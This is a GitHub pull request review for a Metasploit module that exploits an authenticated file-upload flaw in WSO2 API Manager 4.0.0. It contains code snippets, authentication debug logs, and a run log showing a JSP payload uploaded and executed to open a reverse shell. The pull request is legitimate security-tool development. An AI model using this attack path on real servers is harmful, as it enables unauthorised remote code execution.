-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Added module for WSO2 API Manager Documentation File Upload Remote Co… #19647
base: master
Are you sure you want to change the base?
Conversation
…de Execution Closes rapid7#19646 on-behalf-of: @redwaysecurity <[email protected]>
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
vprint_status("Automatically selected target: #{target.name} for version #{version}") | ||
else | ||
print_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( | ||
Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is the version check here meant to be inclusive or not? Is the max_version
here still vulnerable or when the vulnerability has been patched?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It should be inclusive.
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
else | ||
print_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( | ||
Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) | ||
) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should we return a CheckCode::Safe here if the version mismatch happens?
https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-write-a-check-method.html#check-codes
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I see it, but the idea here is that if the user has specified the target and opted out of using the 'automatic' detection, there might be a reason. Thus, I thought it was to give the user this freedom but warn him that it is most likely to fail.
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
'SSL' => true, | ||
'RPORT' => 9443 | ||
}, | ||
'Platform' => %w[linux], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would this also support windows
?
The module is currently an exploit/multi
, but only specifies linux
as a valid platform.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Although I haven't tested it, Windows installation would also be affected because they use the same code base.
Co-authored-by: Simon Janusz <[email protected]>
Since we attempt to create the document in multiple APIs, we want to avoid exiting on a failed creation attempt. This will allow us to retry the document creation on the next available API.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @heyder! It's looking good. I've got a couple suggestions. I wasn't able test it successfully the first time around. Please let me know if I've made a mistake with my testing attempt, I've included some logs below.
documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md
Show resolved
Hide resolved
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 | ||
end | ||
|
||
fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') unless bearer |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've setup wso2 4.0.0 via the docker-compose file in the documentation. I'm able to login to the GUI with the credentials admin:admin. I've setup a test API and a test API product however when the module tries to authenticate with HttpUsername
& HttpPassword
set to admin:admin the module fails at this line every time.
I've included some logs below, I'm wondering if you might know what's causing this issue?
authentication failure
msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
####################
# Request:
####################
GET /publisher/services/auth/login HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
####################
# Response:
####################
HTTP/1.1 302
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-store, no-cache, must-revalidate, private
Set-Cookie: CLIENT_ID=RfyDOfXMt8i5OuZnCnic9sczQLsa; Path=/publisher/; Secure
Location: https://localhost:9443/oauth2/authorize?response_type=code&client_id=RfyDOfXMt8i5OuZnCnic9sczQLsa&scope=apim:admin apim:api_create apim:api_delete apim:api_generate_key apim:api_import_export apim:api_product_import_export apim:api_publish apim:api_view apim:app_import_export apim:client_certificates_add apim:client_certificates_update apim:client_certificates_view apim:comment_view apim:comment_write apim:document_create apim:document_manage apim:ep_certificates_add apim:ep_certificates_update apim:ep_certificates_view apim:mediation_policy_create apim:mediation_policy_manage apim:mediation_policy_view apim:pub_alert_manage apim:publisher_settings apim:shared_scope_manage apim:subscription_block apim:subscription_view apim:threat_protection_policy_create apim:threat_protection_policy_manage openid service_catalog:service_view service_catalog:service_write&state=&redirect_uri=https://localhost:9443/publisher/services/auth/callback/login
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Mon, 02 Dec 2024 18:01:32 GMT
Server: WSO2 Carbon Server
####################
# Request:
####################
GET https://localhost:9443/oauth2/authorize?response_type=code&client_id=RfyDOfXMt8i5OuZnCnic9sczQLsa&scope=apim:admin%20apim:api_create%20apim:api_delete%20apim:api_generate_key%20apim:api_import_export%20apim:api_product_import_export%20apim:api_publish%20apim:api_view%20apim:app_import_export%20apim:client_certificates_add%20apim:client_certificates_update%20apim:client_certificates_view%20apim:comment_view%20apim:comment_write%20apim:document_create%20apim:document_manage%20apim:ep_certificates_add%20apim:ep_certificates_update%20apim:ep_certificates_view%20apim:mediation_policy_create%20apim:mediation_policy_manage%20apim:mediation_policy_view%20apim:pub_alert_manage%20apim:publisher_settings%20apim:shared_scope_manage%20apim:subscription_block%20apim:subscription_view%20apim:threat_protection_policy_create%20apim:threat_protection_policy_manage%20openid%20service_catalog:service_view%20service_catalog:service_write&state=&redirect_uri=https://localhost:9443/publisher/services/auth/callback/login HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Cookie: CLIENT_ID=RfyDOfXMt8i5OuZnCnic9sczQLsa
Connection: keep-alive
####################
# Response:
####################
HTTP/1.1 400
Content-Length: 0
Date: Mon, 02 Dec 2024 18:01:32 GMT
Connection: close
Server: WSO2 Carbon Server
####################
# Request:
####################
POST /commonauth HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Cookie: CLIENT_ID=RfyDOfXMt8i5OuZnCnic9sczQLsa
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
usernameUserInput=admin&username=admin&password=admin&sessionDataKey=
####################
# Response:
####################
HTTP/1.1 302
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Location: https://127.0.0.1:9443/authenticationendpoint/retry.do
Content-Length: 0
Date: Mon, 02 Dec 2024 18:01:32 GMT
Server: WSO2 Carbon Server
####################
# Request:
####################
GET https://127.0.0.1:9443/authenticationendpoint/retry.do HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Cookie: CLIENT_ID=RfyDOfXMt8i5OuZnCnic9sczQLsa
Connection: keep-alive
####################
# Response:
####################
HTTP/1.1 200
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=04AF6218B8065CA08A5232D87C205F47726A85E5690A9CE0665F9915252647C3D4D57751E07B55AB9F330D2A4D19D1394CA4DF51A568AFA7651A11C2CB7BBDAC89F7C4B3CD63EBBBD6556A57780F135B1338FB86B8E3C9B21B7C26EDBA97F0039E73563E155AA600BF5C29FC1ACF60102ACA9619B61591035EDD0B75D5397028; Path=/authenticationendpoint; Secure; HttpOnly
vary: accept-encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 5192
Date: Mon, 02 Dec 2024 18:01:32 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Server: WSO2 Carbon Server
<!doctype html>
<html>
<head>
<!-- header -->
<!-- localize.jsp MUST already be included in the calling script -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" href="libs/themes/default/assets/images/favicon.ico" type="image/x-icon"/>
<link href="libs/themes/default/theme.min.css" rel="stylesheet">
<title>WSO2 API Manager</title>
<script src="libs/jquery_3.4.1/jquery-3.4.1.js"></script>
</head>
<body class="login-portal layout authentication-portal-layout">
<main class="center-segment">
<div class="ui container medium center aligned middle aligned">
<!-- product-title -->
<!-- localize.jsp MUST already be included in the calling script -->
<div class="product-title">
<div class="theme-icon inline auto transparent product-logo">
<svg viewBox="29 -6.639 72 27.639">
<circle fill="#F47B20" cx="82.076" cy="4.192" r="8.691"></circle>
<path fill="#FFF" d="M90.804 3.776l-.01-.115h-3.375l-.035.063c-.402.711-.798 1.425-1.193 2.14l-.348.626c-.601-1.454-1.198-2.908-1.795-4.363-.63-1.535-1.26-3.07-1.895-4.603l-.11-.266-.119.262A631.674 631.674 0 0080.565.541a479.296 479.296 0 01-1.905 4.212c-.897-.008-1.794-.007-2.695-.006-.823.001-1.648.002-2.475-.004l-.128-.001.002.128c.004.278.044.554.083.821l.021.148h.108c1.432-.002 2.863-.002 4.293-.001h1.512l.034-.073c.44-.972.878-1.947 1.316-2.921.421-.938.842-1.875 1.267-2.811.643 1.552 1.279 3.106 1.917 4.661.558 1.359 1.115 2.719 1.677 4.077l.098.237.127-.224c.576-1.025 1.147-2.054 1.719-3.082l.528-.951h2.74l.01-.115c.02-.253.017-.527-.01-.86z"></path>
<path fill="#F47B20" d="M29-6.61c.849.001 1.696-.002 2.545.002 2.065 5.082 4.121 10.169 6.198 15.247 2.069-5.093 4.122-10.194 6.213-15.278 2.067 5.095 4.138 10.188 6.205 15.283 2.068-5.084 4.126-10.172 6.198-15.255.857.001 1.716-.002 2.573.001-2.883 7.122-5.778 14.24-8.658 21.364-.008.103-.157.273-.192.074-2.042-5.053-4.094-10.1-6.127-15.157-2.084 5.111-4.142 10.233-6.216 15.347A14572.55 14572.55 0 0129-6.61zM60.721-5.513c1.362-.97 3.118-1.239 4.751-1.046 1.875.271 3.473 1.576 4.363 3.213-.618.407-1.25.793-1.865 1.205-.329-.36-.55-.802-.893-1.15-.453-.498-1.041-.895-1.709-1.027-1.316-.275-2.805.074-3.734 1.083-.996 1.055-1.006 3.01.193 3.919.841.609 1.756 1.108 2.677 1.586 1.174.532 2.363 1.052 3.429 1.787.741.523 1.531 1.047 2 1.847.684 1.164.755 2.589.537 3.894-.291 1.735-1.421 3.248-2.881 4.192-1.289.842-2.883 1.128-4.401.968-1.382-.108-2.744-.654-3.748-1.624-1.047-.983-1.665-2.335-1.985-3.718.763-.234 1.526-.463 2.288-.698.283 1.176.807 2.364 1.789 3.12.933.742 2.211.893 3.355.68 1.338-.239 2.507-1.217 3.011-2.474.314-.84.416-1.786.158-2.653-.175-.6-.595-1.103-1.111-1.443a23.384 23.384 0 00-3.385-1.869 16.78 16.78 0 01-2.603-1.436c-.654-.453-1.336-.917-1.767-1.604-.69-1.087-.784-2.461-.533-3.698.245-1.244 1.032-2.337 2.064-3.054z"></path>
<path fill="#060709" d="M81.274-6.596c1.743-.113 3.52.152 5.121.864 3.276 1.389 5.746 4.501 6.343 8.011.419 2.347.048 4.832-1.074 6.939-1.465 2.814-4.231 4.91-7.342 5.546-2.047.43-4.217.261-6.168-.498a10.824 10.824 0 01-4.76-3.617 10.718 10.718 0 01-2.128-5.908c-.145-2.528.646-5.1 2.194-7.105 1.841-2.442 4.761-4.027 7.814-4.232zm-1.297 2.449A8.64 8.64 0 0074.488.138c-.785 1.439-1.099 3.101-1.022 4.731h.024c.004.283.047.565.088.846.455 2.707 2.287 5.133 4.77 6.303a8.599 8.599 0 006.453.409c1.752-.574 3.295-1.744 4.35-3.254a8.58 8.58 0 001.538-4.546 5.025 5.025 0 00-.009-.841 8.645 8.645 0 00-1.596-4.581 8.651 8.651 0 00-4.566-3.258 8.568 8.568 0 00-4.541-.094zM93.688 3.447a6.424 6.424 0 013.479.015c1.542.453 2.786 1.721 3.318 3.223.526 1.563.294 3.35-.576 4.747-.709 1.137-1.603 2.146-2.506 3.132-1.461 1.578-2.927 3.152-4.387 4.732 2.661-.004 5.322-.001 7.983-.002-.001.568.001 1.136-.001 1.705-3.943-.004-7.886.003-11.829-.003 2.519-2.731 5.062-5.44 7.571-8.18.917-1.088 1.998-2.181 2.249-3.64.232-1.143-.129-2.387-.985-3.189-1.102-1.147-2.93-1.389-4.359-.759.04-.591.11-1.188.043-1.781z"></path>
</svg>
</div>
<h1 class="product-title-text">API Manager</h1>
</div>
<div class="ui segment">
<div class="segment-form">
<div class="ui visible negative message">
<div class="header">Authentication Error!</div>
<p>Something went wrong during the authentication process. Please try signing in again.</p>
</div>
</div>
</div>
</div>
</main>
<!-- product-footer -->
<!-- localize.jsp MUST already be included in the calling script -->
<!-- footer -->
<footer class="footer" style="text-align: center">
<div class="container-fluid">
<p>WSO2 API Manager | ©
<script>document.write(new Date().getFullYear());</script>
</p>
</div>
</footer>
<!-- footer -->
<script src="libs/themes/default/semantic.min.js"></script>
</body>
</html>
[-] Exploit aborted due to failure: unexpected-reply: Authentication attempt failed
[*] Exploit completed, but no session was created.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@jheysel-r7 Thanks for the thorough troubleshooting and insights.
I pinpointed the issue: the application replays on a redirect with a full location URL, and it seems that send_request_cgi
doesn't automatically account for this scenario.
As a takeaway, I'll remind myself to test directly without using a proxy first—Burp was handling that seamlessly, which masked the underlying problem during my tests.
Here’s the difference between the first and second requests that led me to this conclusion:
First request:
GET /publisher/services/auth/login HTTP/1.1
Second request:
GET https://localhost:9443/oauth2/authorize?response_type=code&.... HTTP/1.1
I’ve come up with a quick and dirty solution to address this issue, though I’m unsure if it meets the code quality standards. I’d love to hear any other ideas you might have!
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@heyder Thanks for implementing the fix and explaining what was going on.
So send_request_cgi
isn't designed to follow redirects when they occur but send_request_cgi!
is and you can specify the redirect depth as needed.
In this method the first redirect loop, loops once and the second one loops twice. So we should be able to replace the respective loops with:
res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth
res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth
However I ran into an issue while testing and I think it's a bug in the http_client.rb
. I've outlined it here:
#19700.
I'll push my changes up so you can see what I've done. We can revert my change if need be.
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: jheysel-r7 <[email protected]>
- Resolved an issue where redirects with full-location URLs were not properly handled by `send_request_cgi`. - Implemented a quick solution for now; open to suggestions for a more robust approach. - Tested behavior without proxy interference, as Burp previously masked the issue.
- Verified that the CWD is the WSO2_SERVER_HOME, allowing the uploaded payload file to be registered for cleanup using register_file_for_cleanup. - Improved feedback by including the payload filename in the success message. - Removed redundant on_new_session cleanup logic, as file management is now handled by FileDropper.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the update @heyder. I've retested with the bug fix that's recently been landed and everything is good to go. #19700 🚀
msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > run
[*] Started reverse TCP handler on 172.16.199.158:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Authentication successful
[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable.
[+] Document created successfully
[*] Uploading payload...
[+] Payload uploaded successfully. File: YJ8y3ntidni5FjXb.jsp
[*] Executing payload...
[+] Payload executed successfully
[+] Deleted repository/deployment/server/webapps/authenticationendpoint/YJ8y3ntidni5FjXb.jsp
[*] Command shell session 1 opened (172.16.199.158:4444 -> 172.23.0.2:35776) at 2024-12-12 09:55:58 -0900
uname -a
Linux d8d7997d1a5a 5.15.0-125-generic #135~20.04.1-Ubuntu SMP Mon Oct 7 13:56:22 UTC 2024 x86_64 Linux
id
uid=802(wso2carbon) gid=802(wso2) groups=802(wso2)
Vulnerable Application
Closes #19646
A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
(
/permission/admin/login
and/permission/admin/manage/api/publish
) to upload arbitrary files to a user-controlledserver location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
Verification Steps
use multi/http/wso2_api_manager_file_upload_rce
set rhosts [ip]
set lhost [ip]
run
Scenarios
WSO2 API Manager 4.0.0
Manually setting up the wrong API version